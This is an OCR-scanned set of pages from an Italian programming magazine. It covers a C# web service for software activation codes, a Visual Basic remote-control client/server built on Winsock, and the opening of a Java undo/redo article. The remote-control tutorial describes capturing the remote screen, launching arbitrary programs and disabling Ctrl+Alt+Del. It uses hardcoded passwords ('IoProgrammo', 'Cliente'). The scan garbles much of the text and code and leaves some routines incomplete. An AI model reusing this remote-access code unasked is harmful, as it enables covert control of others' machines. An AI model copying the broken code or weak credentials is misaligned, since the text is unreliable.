return "1"; 
break; 
case 2: 

//Il prodotto è già attivato 

return "2"; 

break; 

default: 

Cryptography e = new CryptographyQ; 
string CodiceAttivazione = c.Crypt(seriale); 
if ( d.WirteActivation(CodiceProdotto, 

CodiceAttivazione) != 1) throw new 
Exception("errore di aggiornamento"); 
return CodiceAttivazione; 

break; } } 

else{ 

return "0"; } 
} 

Questo è il metodo principale del nostro Web Ser- 
vice. La prima cosa evidente è che, fatta eccezione 
per le prime due righe del codice, l'implementazio- 
ne è identica ad una qualsiasi applicazione scritta 
inC#. 



CAPIAMO 

IL MECCANISMO 

Il principio di funzionamento è molto semplice: Co- 




In mancanza di Visual 
Studio, possiamo 
compilare il nostro 
progetto utilizzando il 
csc.exe incluso 
nelI'SDK del 
f ramework. Per la 
generazione della 
classe proxy invece, 
dobbiamo utilizzare il 
wsdl.exe (sempre 
incluso nelI'SDK) del 
framework 
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Tutte le informazioni 

relative ai servizi web 

sono reperibili 

nell'apposita sezione 

dell'MSDN 

raggiungibile 

all'indirizzo: 

http://msdn.microsoft,co 

m/webservices 



deGen aspetta due parametri di tipo stringa in in- 
gresso. CodiceProdotto è il codice univoco del nostro 
prodotto di cui abbiamo parlato nel primo para- 
grafo, seriale è il numero seriale dell'Hard Disk del 
cliente su cui dobbiamo calcolare il codice di attiva- 
zione, esattamente come avveniva con il tool di atti- 
vazione visto nel numero precedente. Il CodicePro- 
dotto viene passato al DataLayer per le opportune 
verifiche: 

DataLayer d = new DataLayerQ; 

int retcode = d.ProdottoAttivabile(CodiceProdotto); 

Il DataLayer è la classe che si occupa di comunicare 
con il Data Base. Il metodo ProdottoAttivabile ese- 
gue le seguenti verifiche: 

1. verifica che il Codice Prodotto esista nel Data 
Base. Se non dovesse esistere, il cliente ha digita- 
to erroneamente il codice del prodotto nel form 
di richiesta oppure è sprovvisto del suddetto 
codice. Il valore di ritorno, in questo caso è 1; 

2. se il Codice Prodotto esiste nel Data Base, la se- 
conda verifica riguarda l'attivazione. Se un 
prodotto è stato già attivato, non deve essere 
possibile attivarlo nuovamente. In questo caso, il 
codice di ritorno è 2; 

3. Se nessuna delle precedenti condizioni si verifi- 
ca, vuol dire che il codice prodotto esiste e non è 
stato ancora attivato, quindi possiamo procede- 
re all'attivazione. 

I valori di ritorno della classe DataLayer vengono 
gestiti dal blocco switch (retcode) del metodo Code- 
Gen. Come abbiamo fatto per la DataLayer, nei pri- 
mi 2 casi rinviamo al chiamante (0 nostro prodotto), 
i codici d'errore (1 per il codice errato, 2 per il pro- 
dotto attivato) che provvedere a mostrare i relativi 
messaggi di errore. Nel caso non si sia verificata nes- 
suna delle prime 2 condizioni, vuol dire che il pro- 
dotto è attivabile quindi passiamo il codice seriale 
dell'Hard Disk alla classe che si occuperà di critto- 
grafarlo: 

string CodiceAttivazione = c.Crypt(seriale); 



a cui, come vediamo, passeremo il CodiceProdotto 
ed il CodiceAttivazione. Dopo l'avvenuta registrazio- 
ne dei dati nel Data Base, il Web Service invierà 
codice di attivazione al client. Il nostro Web Service 
ora è quasi completo. Così com'è però, il servizio è 
accessibile a chiunque. Il contratto SOAP è pubblico 
quindi chiunque potrebbe creare un client capace di 
consumare il servizio web. Sebbene questa cosa può 
essere voluta in alcuni casi, questo non è assoluta- 
mente il nostro caso. Per limitare gli accessi al nostro 
Web Serivice, fortunatamente, abbiamo a disposi- 
zione svariati sistemi. Si può utilizzare US (un Web 
Service ASP.NET "gira" su un server web le cui richie- 
ste sono processate da US), si può utilizzare il web.- 
config, i certificati, l'autenticazione integrata di Win- 
dows ecc. Ogni scelta però deve essere ponderata. 
Più sicuro sarà il sistema di protezione scelto, più 
sarà complesso accedere al servizio web. Utilizzan- 
do ad esempio l'autenticazione integrata di Win- 
dows, taglieremo fuori tutti gli eventuali utenti che 
usano sistemi operativi diversi da quello di casa Mi- 
crosoft (e non sempre può essere una scelta voluta). 
Un buon compromesso è dato dallo stesso protocol- 
lo SOAP attraverso le Intestazioni SOAP Tali intesta- 
zioni sono pacchetti di informazioni inviati nelle 
comunicazioni dei servizi web che possiamo sfrut- 
tare, come nel nostro caso, per passare un nome 
utente ed una password. Per poter passare le In- 
testazioni SOAP in una normale comunicazione, 
dobbiamo prima implementare, nel nostro Web Ser- 
vice, una classe che erediti da System.Web.Services.- 
Protocols.SoapHeader. 
Chiameremo questa classe Authenticator: 

public class Authenticator : SoapHeader { 

public string UserName; 

public string Password; 
} 

Le proprietà UserName e Password verranno utiliz- 
zate per effettuare l'autenticazione. La classe che si 
vuole proteggere (nel nostro caso WSAttivazione), 
dovrà innanzitutto creare una istanza della Authen- 
ticator, ed ogni metodo da rendere sicuro dovrà uti- 
lizzare l'attributo [SoapHeader ("■ ■■■")]■ Ora che il no- 
stro Web Service è pronto, possiamo procedere 
all'integrazione con il programma. 



Questo passaggio non ha bisogno di essere com- 
mentato in quanto è identico a quanto visto nel tool 
di generazione del codice di attivazione analizzato 
nel precedente articolo. 

Il passo successivo è quello di memorizzare i dati di 
avvenuta attivazione nel Data Base. A farlo se ne oc- 
cupa sempre la DataLayer con il metodo WirteAc- 
tivation: 

d.WirteActivation(CodiceProdotto, CodiceAttivazione) 



SERVIZIO 

E APPLICAZIONE 

"SI PARLANO" 

Abbiamo quasi tutto. Il nostro Web Service è pronto 
ad accettare le richieste e a fornici il codice di attiva- 
zione valido. Ora non ci resta che far "parlare" il no- 
stro software con il servizio web. In Microsoft .net, 



»> 36/Giugno 2004 



http://www.ioprogrammo.it 



Sicurezza: protezione del software ■ T TEORIA & TECNICA 



■E 






WS Attivazione 



"3 3- 



l*«MLKHt» 



Fig. 2: Aggiunta del riferimento Web in Visual Studio. 

una delle cose più belle dell'utOizzo dei servizi web, 
è che questi vengono utilizzati esattamente come 
delle classi locali. Utilizzando Visual Studio poi, l'in- 
tegrazione dei Web Service nelle nostre applicazioni 
è una operazione davvero semplice. Vediamo come 
procedere. Riprendiamo il progetto che include il 
form per la richiesta del codice di attivazione. Dal 
menù progetto, selezioniamo la voce "Aggiungi 
Riferimento Web", inseriamo dove richiesto l'indiriz- 
zo del nostro servizio web, e clicchiamo su "Vai" 
(vedi Fig. 2). Se il Web Service viene individuato 
("scoperto", utilizzando la terminologia Microsoft), 
possiamo referenziarlo al nostro progetto assegnan- 
dogli un nome, che nel nostro caso sarà wsattivazio- 
ne. Da questo momento in poi, possiamo utilizzare il 
nostro Web Service come se fosse un oggetto qual- 
siasi incluso nel nostro progetto (anche l'intellisense 
di Visual Studio funzionerà correttamente). 
Dietro questa semplicità d'uso e di integrazione c'è 
un grosso lavoro di progettazione e di standardizza- 
zione che è interessante capire. Cosa succede allora 
quando aggiungiamo un riferimento web al nostro 
progetto? Visual Studio legge il contratto SOAP del 
Web Service e lo usa per creare una classe Proxy. Il 
contratto SOAP è descritto attraverso un file XML 
chiamato WSDL (Web Service Description Language) 
visibile richiamando il Web Service dal browser ed 
aggiungendo ?WSDL nell'uri. La classe Proxy è, a 
tutti gli effetti, quella che permette al nostro client di 
consumare un servizio web. Essa incorpora tutte le 
funzioni che consentono al nostro software di invia- 
re le richieste in formato XML e di ricevere ed inter- 
pretare le risposte (sempre in formato XML). Proce- 
diamo quindi al completamento del form di attiva- 
zione (attiva.cs), in modo da utilizzare il servizio 
web: aggiungiamo un campo per consentire l'inseri- 
mento del codice prodotto ed il pulsante per effet- 
tuare la richiesta. All'evento click del nuovo pulsan- 
te, associamo la chiamata al Web Service con le 
seguenti istruzioni: 

WSAttivazione wsa = new WSAttivazioneQ; 
//Utilizzo delle intestazioni soap per la protezione del 

Web Service 
Authenticator auth = new AuthenticatorQ; 



auth.UserName = "Cliente"; 
auth. Password = "Cliente"; 
wsa.AuthenticatorValue = auth; 
string CodiceAttivazione = wsa.CodeGen( 

CodiceProdotto, SerialeHD); 

I codici di ritorno dal Web Service verranno gestiti 
nel blocco 




Fig. 3: La maschera di richiesta attivazione completa. 

La cosa più evidente in questo blocco di codice è l'u- 
tilizzo dei metodi del Web Service esattamente come 
se fossero dei metodi di un oggetto locale. Per il 
nostro programma infatti, l'unica differenza è che, 
nei primi, le chiamate avvengono attraverso la clas- 
se Proxy. Una volta avviato il programma, inseriamo 
il codice del prodotto (nel Data Base incluso, i codi- 
ci validi vanno da 0000000000 a 0000000009), e ri- 
chiediamo l'attivazione via web. Vedremo apparire il 
codice di attivazione nell'apposito box. 



CONCLUSIONI 

Si conclude qui la serie di due articoli riguardanti 
l'attivazione del software. Abbiamo visto come im- 
pedire l'utilizzo del nostro software agli utenti non 
autorizzati, abbiamo imparato a generare una chia- 
ve univoca per l'attivazione e abbiamo realizzato un 
servizio web per automatizzare la procedura di atti- 
vazione. Nel codice allegato è presente anche un 
piccolo tool per la gestione dello stato delle attiva- 
zioni. Quanto visto in questi articoli deve servire 
come spunto per generare i nostri sistemi di attiva- 
zione personalizzati. Meno è noto il modo in cui 
attiviamo i nostri programmi, più saranno sicuri. 
Buon lavoro! 

Michele Locuratolo 




Nel codice allegato alla 
rivista è presente un 
tool dimostrativo per 
la gestione delle 
attivazioni. È possibile 
ricercare un codice 
prodotto e, se risulta 
già attivato, 
sbloccarlo. 
Attualmente il 
recupero dei dati 
avviene sfruttando lo 
stesso web service per 
la generazione del 
codice. In fase di 
produzione però, 
conviene creare un 
web service dedicato 
alla gestione piuttosto 
che lasciare le 
funzionalità accorpate. 
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Lo scambio di messaggi e i dettagli dell'interfaccia 

Controllo 
remoto in VB »«._-, 

Nella prima parte abbiamo illustrato le principali funzionalità di 
un'applicazione client/server. Proseguiamo il nostro cammino 
analizzando dettagliatamente alcune sezioni del progetto. 



Nel precedente articolo abbiamo avuto 
modo di analizzare brevemente metodi, 
proprietà ed eventi del controllo Winsock, 
disponibile in Visual Basic. Molti di voi ricorderanno 
che il modulo client è suddiviso in diverse parti, cia- 
scuna delle quali ha un compito ben preciso. Senza 
riscendere nei particolari, ricorderete che nella par- 
te sinistra della form principale, sono situati cinque 
controlli CommandButton, ognuno dei quali con- 
sente di comunicare al server una determinata ri- 
chiesta. Da questo momento utilizzeremo il termine 
"sezione" per indicare ciascun gruppo di azioni svol- 
to da ogni pulsante. Immediatamente alla sinistra di 
questi pulsanti sono collocati altrettanti frame, 
ognuno dei quali contiene i controlli necessari per 
avviare la richiesta voluta. Ogni frame è sovrapposto 
all'altro ed è reso visibile soltanto dopo la pressione 
del pulsante corrispondente. L'evento ClickQ di ogni 
bottone, infatti, contiene un'istruzione del tipo 
<Nome Frame>.ZOrder (Nome Frame rappresenta 
il nome del pannello corrispondente) che consente 
di riportare in "superfìcie" quel determinato blocco 
di controlli. Questo accorgimento è particolarmente 
importante, perché ci permette di avere tutti i con- 
trolli inerenti ad una determinata sezione racchiusi 
in un unico "blocco" (permettendoci di spostarli 
solo all'interno di esso o con esso), facilitandoci an- 
che la gestione relativa alla loro visualizzazione (gra- 
zie ad una sola istruzione). Il primo pulsante si oc- 
cupa di mostrare un opportuno messaggio a video. 
Il pannello FrameMessage, che rappresenta quello 
visualizzato per default all'avvio del client, contiene 
tutti i controlli necessari allo scopo. All'interno del 
pannello sono situati quattro PictureBox, altrettanti 
controlli CheckBox, due controlli di tipo TextBox ed 
un pulsante. Ovviamente, i due controlli TextBox 
servono per inserire rispettivamente il titolo ed il 
messaggio vero e proprio che apparirà sul PC remo- 
to, mentre le quattro CheckBox, a seconda della 



selezione dell'utente, permetteranno di decidere il 
tipo di messaggio vero e proprio. Ecco, quindi, cosa 
succede quando l'utente inserisce i propri dati, pre- 
mendo successivamente il pulsante Invia: 

Dim TypeMsg As Integer 
Dim i As Integer 

If WinsockClient.State=sckConnected Then 
"Individua l'option button selezionato. 
'La proprietà TAG di ogni Option Button 
'conserva l'identificativo numerico 
'corrispondente al tipo di messaggio da inviare. 

For i=0 To 3 

If Optionl(i).Value Then 

TypeMsg =Optionl(i).Tag 
Exit For 

End If 

Next 

'Invia la richiesta di messaggio 
WinsockCIient.SendData "SENDMSG;" & 

txtMessage.Text & ";" & TypeMsg & ";" 

& txtTitolo.Text 

DoEvents 

txtMessage.Text ="" 
txtExe.SetFocus 

Else 

txtMessage.Text ="" 

MsgBox "Mi dispiace, ma non risulti collegato al 
server!", vbCritical, "Errore" 
cmdDisconnect_Click 
End If 

Tralasciando inutili dettagli, il seguente frammento 
di codice non fa altro che prelevare il valore numeri- 
co memorizzato all'interno della proprietà Tag della 
checkbox selezionata (corrispondente all'identifica- 
tivo numerico che definisce, per la funzione Msgbox, 
il tipo di messaggio da visualizzare), inviando suc- 
cessivamente, al server, la seguente stringa: 




QCDU 



CD LI WEB 



VB_Remote.zip 

0Mfe 
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"SENDMSG;" & txtMessage.Text & "; 



&TypeMsg & ";" 
& txtTitolo.Text 
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Fig. 1: Descrizione dei controlli principali, 
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Fig. 2: La sezione Desktop. 



Come si può facilmente notare, questa stringa è rap- 
presentata da un prefisso (SENDMSG) (che consen- 
tirà al server di decifrare la richiesta del client), men- 
tre i restanti "oggetti" rappresentano i parametri re- 
lativi al messaggio da visualizzare, separati opportu- 
namente dal carattere ';'• Vediamo quindi cosa avvie- 
ne quando il server riceve un dato proveniente dal 
client, con particolare riferimento a questa richiesta. 



UNO SGUARDO 
LATO SERVER 

Il modulo server utilizza, per le richieste effettuate 
tramite WinsockClient, una procedura contenuta 
all'interno del modulo Genemle.bas, denominata 
ClientRequestO- Al suo interno sono effettuati tutti i 
controlli necessari all'individuazione delle azioni da 
intraprendere. La prima operazio ne che la procedu- 
ra compie è quella di preleva- 
re la richiesta del client e sud- 
dividerla (attraverso la fun- 
zione SplitO), inserendo ogni 
"pezzo" ottenuto all'interno 
dell'array ClientRequestSplit. 
Volendo essere più chiari, 
questo significa che, se il 
client deve inviare al server 
una determinata richiesta, 
ma anche alcuni parametri, 
dovrà necessariamente com- 
porre una stringa formata 
all'inizio dalla parola chiave che la descrive e suc- 
cessivamente dai vari parametri, separando tutto 
con un ';'■ Appare comunque evidente che il server, 
oltre a riconoscere la parola chiave che identifica il 
messaggio, deve anche essere a conoscenza dell'e- 
satto ordine e del significato dei parametri passati. 
Tornando al nostro caso, il server riceve una richie- 
sta attraverso il controllo WinsockServer. A seguito 
di quest'evento, viene richiamata la procedura 
ClientRequestO ed il dato ricevuto viene processato. 
Per prima cosa, la funzione 
separa le varie componenti, 
identificando la richiesta. 
Una volta riconosciuta l'inte- 
stazione (SENDMSG), attra- 
verso una semplice Select- 
Case, richiama la funzione 
SendMsgO che visualizzerà 
opportunamente il messag- 
gio a video. 

Di seguito ecco la procedura 
ClientRequestO e la funzione 
SendMsgO: 



Public Sub ClientRequest(ClientRequest As String) 
Dim Esito As Boolean 
Dim Output As String 
Dim ClientRequestSplit() As String 
Dim CodErr As Long 
'Inserisci la lista degli argomenti nell'array 

ClientRequestSplit 
ClientRequestSplit=Split(ClientRequest, ";") 
'Processa le richieste del client 
Select Case ClientRequestSplit(O) 

' LOGIN 

'Riconoscimento OK 

Case "RCKNOW'+vbCrLf 

frmServer.WinsockServer.SendData "+OK" 
'Password OK 
Case "RCPASS "+"IoProgrammo"+vbCrLf 
frmServer.WinsockChat.Listen 
frmServer.WinsockFTP.Listen 
frmServer.EventLogChat.Addltem "In 

ascolto porta: " & frmServer. 
WinsockChat. Locai Po rt 
frmServer. EventLogFTP.Addltem "In 

ascolto porta: " & frmServer. 

WinsockFTP.LocalPort 

frmServer. WinsockServer. SendData "+OK" 

'- — MESSAGGIO 

'Messaggio a video 

Case "SENDMSG" 

'Invia messaggio 
SendMsg (ClientRequest) 
' VARIE 

'Avvia lo screen saver di default 

Case "SCRSAVER" 

SendMessage frmServer.hwnd, 

WM_SYSCOMMAND, SC_SCREENSAVE, 0& 

'Imposta le coordinate del mouse 

Case "SETMPOS" 

SetCursorPos ClientRequestSplit(l), 

ClientRequestSplit(2) 

'Cerca informazioni 

Case "INFO" 

Invialnformazioni 

End Select 

'Se trovi un INVIO, vuol dire che il msg è terminato 
'con la coppia CRLF. Quindi eliminali... 
If Asc(Right(ClientRequestSplit(Q), 2)) = "13" Then 
frmServer. EventLog.Addltem "Richiesta 

"+Mid$(ClientRequestSplit(0), 1, 

Len(ClientRequestSplit(0))-2)+" dal client" 

Else 

frmServer. EventLog.Addltem "Richiesta 

"+ClientRequestSplit(Q)+" dal client" 

End If 

End Sub 

Public Sub SendMsg(Comando As String) 
Dim Param() As String 'Array di argomenti. 
'Separa il comando ricevuto nei suoi parametri. 
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'Comando=MSG;< Messaggio >;<Tipo>;<Titolo> 

Param=Split(Comando, ";") 
"Invia il messaggio 

MsgBox Param(l), Val(Param(2)), Param(3) 

End Sub 

Prima di passare oltre, ancora un piccolo dettaglio. 
La funzione SplitO, così com'è sfruttata all'interno 
della procedura, funziona correttamente anche in 
assenza di parametri. Questo significa che il primo 
item dell'array ClientRequestSplit conterrà "comun- 
que" il codice che la identifica, anche in presenza di 
richieste prive di parametri aggiuntivi. 



LA SEZIONE DESKTOP 

Eccoci al secondo pulsante del client, quello che 
consente di ottenere un file contenente l'attuale 
schermata video (Print Screen) del server. La pres- 
sione del bottone cmdSezDesktop, analogamente a 
quanto visto in precedenza, fa apparire il pannello 
FrameDesktop. Esso raggruppa semplicemente una 
Text Box, una ProgressBar, alcune Label ed un pul- 
sante etichettato come Salva. Il suo scopo è quello di 
ottenere un file, il cui nome è specificato all'interno 
dell'unica TextBox, in formato bitmap, contenente 
l'attuale schermata del server. La pressione del pul- 
sante Salva innesca due semplici azioni: 

WinsockFTP.SendData "GETDESK" 

cmd Desktop. Enabled = False 

La prima invia una richiesta al server attraverso il 
controllo WinsockFTP, mentre la seconda disabilita 
il pulsante Salva (per ripristinarlo solo a compimen- 
to dell'operazione). Questa sezione, come avrete 
certamente osservato, chiama in causa un controllo 
diverso da WinsockClient mettendo "chiaramente" 
in comunicazione il client con l'analogo controllo 
(WinsockFTP) presente sul server. Una richiesta 
inviata al controllo scatena l'evento DataArrivalQ 
che svolge le seguenti azioni: 

Private Sub WinsockFTP_DataArrival(ByVal bytesTotal 

As Long) 
'Preleva i dati del client 

WinsockFTP.GetData RispostaFTP, vbString 

'Processa la richiesta del client 

ClientFTPRequest 

End Sub 

La prima istruzione preleva il dato ricevuto, la secon- 
da invoca un'apposita procedura denominata 
ClientFTPRequestO, che si preoccupa di gestire tutte 
le richieste che arriveranno a WinsockFTP. Prima di 
passare oltre, è bene accennare brevemente allo 
schema logico perseguito nell'inviare un file al client: 



• Il client invia una richiesta GETDESK ai server. 

• Il server, ricevuta la richiesta, salva la schermata 
in locale all'interno di un file temporaneo. 

• Il server, completata l'operazione, invia subito 
un BOF (Begin OfFile) seguito dalle dimensioni 
dello stesso. 

• Il client, ricevute queste informazioni, dà inizio 
al download, inviando un messaggio NEXT al 
server. Sostanzialmente, il client chiede di man- 
dargli il primo blocco di byte del file. 

• Il server, ricevuto questo messaggio, inizia a 
mandargli un "pezzo" del file alla volta. 

• Il client, alla ricezione d'ogni nuovo blocco, 
risponde con un ulteriore messaggio NEXT. Il 
processo è dunque reiterato sino all'invio del- 
l'ultimo blocco. 

• Il server, al termine, invia un messaggio EOF 
(End Of File) che determina la fine del down- 
load. 

Ora dovrebbe essere più semplice comprendere il 
codice che implementa questa funzionalità. Appare 
ovvio che il server può riconoscere solo due possibi- 
li messaggi in arrivo a WinsockFTP ossia GETDESK e 
NEXT: 

Sub ClientFTPRequestQ 

Select Case RispostaFTP 

Case "GETDESK" 

'Preleva e salva la schermata nel file Desktop.bmp 

Output=App. Patti & "\DESKTOP.BMP" 

Esito=GetDesktop(App.Path & "\DESKTOP.BMP") 

'Se tutto OK... 

If Esito Then 

SendFile (Output) 

End If 

Case "NEXT": 

'Il client chiede l'invio del successivo blocco 
'Cali lstEvents.AddItem("Sending next chunk.") 
Cali SendNextChunk 
End Select 
End Sub 

Non appena riceve un messaggio GETDESK salva la 
schermata all'interno del file Desktop.bmp serven- 
dosi della chiamata alla funzione GetDesktopQ. 
Quest'ultima è implementata in questa maniera: 

Public Function GetDesktop(ByVal Output As String) 

As Boolean 
'Invia il Print Screen Key 

Cali keybd_event(vbKeySnapshot, 0, 0, 0) 

DoEvents 
'Salva il contenuto della Clipboard nel file 

SavePicture Clipboard. GetData(vbCFBitmap), Output 
'Operazione OK... 
GetDesktop=True 
End Function 
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Server Chat FI? 



Fig. 3: La sezione Varie. 



La prima istruzione non fa altro che riprodurre la 
sequenza di tasti utili ad ottenere il Prìnt Screen, 
un'azione che permette di riporre quest'oggetto 
all'interno della clipboard. La seconda, ScwePictu- 
reQ, riversa il contenuto della clipboard (servendosi 
del metodo GetData dell'oggetto Clipboard) all'in- 
terno del file prestabilito. 



L'INVIO DI FILE 

Ora che abbiamo ottenuto quello che volevamo, 
può iniziare l'invio del file attraverso la chiamata 
alla funzione SendFileQ- Essa non fa altro che ini- 
zializzare, tra le altre cose, la variabile Transferln- 
Corso a Prue e inviare al client un BOF seguito dalla 
dimensione del file. Quest'ultimo parametro ser- 
virà al destinatario sol- 
tanto per aggiornare la 
propria ProgressBar. 
A questo punto, il client 
riceve il messaggio dal 
server. Viene quindi inne- 
scato l'evento DataArri- 
valQ del controllo Win- 
sockFTP che ha come 
conseguenza il richiamo 
della procedura Server- 
FTPRequestQ che si occu- 
pa di processare i mes- 
saggi inviati dal server: 



Jj2^ 



Sub ServerFTPRequest(Data As String) 
Dim FileDest As String 
Dim ValueBar As Long 

"Non siamo all'inizio del download, per cui c'è da 
"aspettarsi un BOF (Begin Of File) 
If (Not TransferlnCorso) Then 

If (Mid$(Data, 1, 3)="EOF") Then 

'Siamo arrivati al termine del download 
TransferInCorso= False 
Main.ProgressBarl.Value = 
Main.lblProgressDownload.Caption = "0%" 

Main,cmdDesktop,Enabled=True 

Else 

'Crea il file contenente la schermata 
hFile=FreeFile 
FileDest=App.Path & "\" & 

Mai n.txtFileDesti nazione. Text 

Open FileDest For Binary As #hFile 

'Spostati al termine del file e memorizza 

Seek #hFile, LOF(hFile) + l 

Put #hFile, , Data 

Close #hFile 

ValueBar=Val(FileLen(FileDest)) * 100 / FileSize 

Main.ProgressBarl. Val ue= ValueBar 
Main.lblProgressDownload.Caption=Str( 




Analogamente a quanto visto prima, viene inizializ- 
zata una variabile booleana, TransferlnCorso (che 
indica l'inizio del download) e memorizzata la di- 
mensione del file. A questo punto, client è pronto 
a ricevere i vari blocchi (per convenzione di 3K 
ognuno) e manda subito il primo messaggio NEXT. 
Il server gestisce questa richiesta alla stessa manie- 
ra di GETDESK, invocando questa volta SendNext- 
ChunkQ. Essa ha il compito di prelevare, ad ogni 
chiamata, un blocco di "almeno" 3K, partendo sem- 
pre dal punto precedente. L'indice alla posizione 
attuale dalla quale partire, è memorizzato all'inter- 
no della variabile IngFilePos. Inizialmente, all'avvio 
del download, essa assume valore pari a zero (incre- 
mentandosi di 3K ad ogni passo). 

Public Sub SendNextChunkQ 

Dim hFile As Long 

Dim IngChunkSize As Long 

Dim strData As String 

'Se non risulta un'operazione di download, allora esci 

If (Not TransferlnCorso) Then Exit Sub 
'Apri il file da inviare in modalità binaria. 

If (lngChunkSize>CHUNK_SIZE) Then 

lngChunkSize=CHUNK_SIZE 

'Se la dimensione del prossimo blocco è 0, OK 
'abbiamo finito 
If (lngChunkSize=0) Then 

'Invia al client un EOF e considera terminato 
'il download 
TransferInCorso= False 

frmServer.WinsockFTP.SendData ("EOF") 

DoEvents 

Else 

'Leggi un altro pezzo del file 
strData=String$(lngChunkSize, 0) 

Get #hFile, , strData 

'Invia i dati al client 
frmServer.WinsockFTP.SendData (strData) 
DoEvents 
'Aggiorna il puntatore al file così da poterti 

posizionare, 
'al prossimo invio, sul prossimo byte non inviato 
lngFilePos=lngFilePos+ IngChunkSize 

End If 

'Chiudi il file 

Close #hFile 

End Sub 
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Il client, ovviamente, attraverso la procedura Server- 
FTPRequestQ, sa di potersi aspettare dal server solo 
due tipi di messaggi in testa ai dati: BOF e EOF. Tut- 
to quello che riceve e non soddisfa questi prerequi- 
siti, il client lo considera come un blocco del file (ov- 
viamente, previo controllo del valore della variabile 
TransferlnCorso) e lo tratta come tale. Questo proce- 
dimento è reiterato sino a quando non è prelevato 
l'ultimo blocco (di dimensione uguale o inferiore ai 
3K). Al successivo loop, la variabile IngChunkSize 
(che mantiene ad ogni passo la dimensione attuale 
del blocco da inviare), assumerà "finalmente" valore 
zero, indicando chiaramente il termine dell'opera- 
zione e costringendo il server all'invio del messaggio 
EOF. SendFileQ consente l'invio del solo file 
Desktop.bmp. In realtà, con alcune piccole modifi- 
che, possiamo adattarla per l'invio di qualunque 
tipo di file. Ovviamente, affinché ciò sia possibile, è 
necessario ampliare il "protocollo" realizzato, preve- 
dendo, da un lato, l'invio di un apposito messaggio 
(per esempio GETFILE), da parte del client, seguito 
dal percorso e dal nome del file che si desidera rice- 
vere. Dall'altro, occorre modificare anche la proce- 
dura ClientFTPRequestQ affinché riconosca e gesti- 
sca questa nuova "intestazione". 



LE FUNZIONI 
PIÙ AVANZATE 

Iniziamo, come sempre, dal client. La pressione del 
terzo pulsante della finestra principale, cmdSezVa- 
rie, rende visibile il controllo FrameVarie che racco- 
glie una serie di CommandButton, alcune TextBox 
ed una ComboBox. Scopo di questa sezione è "sem- 
plicemente" quella di compiere alcune azioni sul PC 
remoto, impartendo opportuni comandi al server. 
Per essere più precisi, ecco tutto quello che possia- 
mo, con l'indicazione del relativo messaggio inviato 
al server: 

• Avviare una qualunque applicazione (STAR- 
TEXE); 

• Mostrare vari pannelli come il pannello di con- 
trollo, la finestra di configurazione del modem, 
ecc. (OPENCPL); 

• Aprire la porta del lettore CDRom (CDOPEN); 

• Impostare le coordinate del mouse (SETMPOS); 

• Avviare lo screen saver di default (SCRSAVER); 

• Effettuare il logott QDGOFF); 

• Disabilitare la sequenza CTRL+ALT+CANC 
(ENABLE/DISABLE); 

• Condividere una risorsa (SHARE). 

La prima azione è abbastanza semplice. Il server 
non fa altro che eseguire, attraverso una chiamata 
alla funzione ShellQ, il file indicato come parametro 
dopo STARTEXE. Il secondo tipo d'azione è altret- 



tanto semplice, ma merita qualche attenzione in 
più. Probabilmente, tutti conoscono l'utilizzo del 
file RunDLL32.exe presente all'interno di Windows. 
Esso, opportunamente richiamato, consente di rea- 
lizzare numerosi compiti, tra cui l'apertura di "pan- 
nelli" (per intenderci, i file con estensione CPL). Ad 
esempio, la chiamata: 

RunDLL32, Shell32.dll, ControLRunDLL Modem. cpl 

mostra a video la finestra relativa alla configurazio- 
ne del modem. Appare evidente che il lavoro che 
dovrà svolgere il server è piuttosto semplice. Infatti, 
il client, dopo che l'utente ha effettuato la sua scelta 
dalla ComboBox denominata cmbControlPanel e 
preme il pulsante Shell32, non fa altro che inviargli la 
stringa: 

OPENCPL;Shell32;cmbControlPanel.Text 

Il server, identificata la richiesta, la esegue sfruttan- 
do la procedura OpenCPLQ così descritta: 

Public Sub OpenCPL(Comando As String) 

Dim Param() As String "Array di argomenti. 
'Separa il comando ricevuto nei suoi parametri. 

'Comando= CPL; < Nome DLL>;<Pannello> 

Param = Split(Comando, ";") 
'Il secondo argomento (Param(2)) è il pannello 

da avviare 
Shell "rundll32.exe " & Param(l) & ".dll" & 

",Control_RunDLL " & Param(2) & ".cpl", 
vbNormalFocus 
End Sub 

Passiamo ora al terzo pulsante, quello contrassegna- 
to come CDROM. Questo bottone permette di apri- 
re la porta del lettore CD sull'host remoto. 
Si serve di una funzione API denominata mciSend- 
StringO il cui compito è quello d'inviare comandi a 
device MCI. L'utilizzo che ne viene fatto è piuttosto 
semplice: 

mciSendString "set cdaudio door open", ret, 127, 

Per maggiori informazioni, potete consultare link 
http://msdn.microsoft.com/library/default.asp7urh/ 
library Zen- uslmultimedlhtml _win32_mcisend 
string.asp. 



CONCLUSIONI 

Nell'ultima parte dedicata a questo progetto ter- 
mineremo questo cammino mostrando ulteriori 
opzioni disponibili all'interno della sezione Varie 
e passando alle successive: Chat ed Explorer. 

Francesco Lippo 
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Grafica 2D: disegnare con Java 



Annulla e ripeti: 
gestire la storia 

Annullare o ripristinare l'effetto di uno o più comandi su di un 
documento: un sistema semplice per gestire la 'storia' delle 
operazioni con un occhio di riguardo alle funzioni grafiche di Java. 




n 




REQUISITI 



UM.WiJ.UM 



u 



Conoscenze dei 
paradigmi di 
programmazione ad 
oggetti e delle librerie 
Swing per la 
costruzione delle 
finestre 



I 



JDK1A,Eclipsev.2.1 
o superiore 



Tempo di realizzazione 



Uno dei problemi più difficili, e più noiosi, da 
affrontare nella programmazione è la ge- 
stione delle funzioni annulla - ripeti e della 
storia delle operazioni svolte sui documenti dall'u- 
tente. Questo articolo propone un sistema semplice 
ed efficace per gestire queste funzionalità. 
Potenzialità ed implementazione di tale sistema ver- 
ranno esplorate attraverso un esempio: un comple- 
to programma di disegno in Java. Cosa che ci darà 
anche l'occasione di esplorare gli oggetti e le funzio- 
ni grafiche messe a disposizione dal linguaggio. 
Inoltre, nel prossimo numero, implementeremo 
anche il salvataggio e il caricamento dei dati, analiz- 
zando così oggetti e funzioni dedicati alla gestione 
dei file. 




00 



Fig. 1: In figura possiamo vedere come si presenta il 
programma completo. 



IL PROGETTO 

Il progetto si svilupperà in una serie di sei pacchetti 
due dei quali riutilizzabili in ogni altra applicazione: 
il primo di questi conterrà le classi di gestione delle 
operazioni, secondo le classi di gestione dei file (lo 
costruiremo nel prossimo articolo). 
Inoltre ci serviranno quattro pacchetti interni che 



raccoglieranno le classi che serviranno per la crea- 
zione del programma. Lo schema dei pacchetti è in- 
dicato in Fig. 2. 



it.gadget operationHandling 



it.gadget file 



STRUTTURA DI 

PROGETTO DI 

'RAFFAELLO'. 

(diagramma packages) 



Pacchetti 'esterni': gestione operazioni e gestione file 

m , i i 



it graphics 



it.interfaceHandler 



it operationHandling 



